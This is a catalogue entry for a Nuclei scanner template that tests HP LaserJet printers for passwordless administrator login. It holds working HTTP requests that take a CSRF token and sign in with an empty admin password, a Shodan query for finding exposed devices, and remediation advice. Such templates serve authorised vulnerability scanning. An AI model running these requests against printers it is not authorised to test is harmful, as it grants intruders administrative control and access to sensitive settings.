SecurityContext

hp-printer-default-login: Hewlett Packard LaserJet Printer - Default Login

Classification

  • Checked, none or zero: cwe
  • Not known: cvss score, cvss vector, epss score, epss percentile, cpe

Metadata

  • Max-request: 2
  • Shodan-query: html:"hp/device/SignIn/Index"
  • Verified: yes

Labels

  • Name: Hewlett Packard LaserJet Printer - Default Login
  • Impact: Unauthenticated attackers can gain administrative access to the printer, potentially modifying settings or accessing sensitive information.
  • Remediation: Change the default administrative password and update to the latest firmware version.
  • Vulnerability type: broken_authentication
  • Vulnerability impact: information_disclosure, privilege_escalation
  • Requirement type: none
  • Labels source: securitycontext
  • Not known: requirements, from cve

```yaml

id: hp-printer-default-login

info:

name: Hewlett Packard LaserJet Printer - Default Login

author: JohnAsbjorn

severity: high

description: |

HP printers often allow administrative access without requiring a password by default. This behavior enables anyone to log in as the Administrator without authentication, potentially exposing sensitive settings or functions.

reference:

- https://h30434.www3.hp.com/t5/Printing-Errors-or-Lights-Stuck-Print-Jobs/What-is-the-user-name-and-password-in-Embedded-Web-Server/td-p/6165417

metadata:

verified: true

shodan-query: html:"hp/device/SignIn/Index"

max-request: 2

tags: hp,printer,default-login,intrusive,vuln

http:

- raw:

- |

GET /hp/device/SignIn/Index HTTP/1.1

Host: {{Hostname}}

Accept-Encoding: identity

Accept-Language: en

extractors:

- type: regex

name: token

part: body

group: 1

regex:

- 'id="CSRFToken" name="CSRFToken" value="([^"]+)"'

internal: true

- raw:

- |

POST /hp/device/SignIn/Index HTTP/1.1

Host: {{Hostname}}

Accept-Encoding: identity

Content-Type: application/x-www-form-urlencoded

Origin: {{RootURL}}

Referer: {{RootURL}}/hp/device/SignIn/Index

CSRFToken={{token}}&agentIdSelect=hp_EmbeddedPin_v1&PinDropDown=AdminItem&PasswordTextBox=&signInOk=Sign+In

redirects: true

max-redirects: 2

matchers-condition: and

matchers:

- type: word

part: body

words:

- "User: Administrator"

- "Sign out"

condition: and

- type: regex

part: header

regex:

- 'Set-Cookie: .*session.*'

- type: status

status:

- 200

digest: 4b0a00483046022100abaa7d6de39d7e9d358422c03ba59b3d532832fa8416ca2f2b61a7fb7654f997022100fac2013d38ae2d74a611cc0368cd25b2c57396cc1afeb87d3140f310a447ae44:922c64590222798bb761d5b6d8e72950

```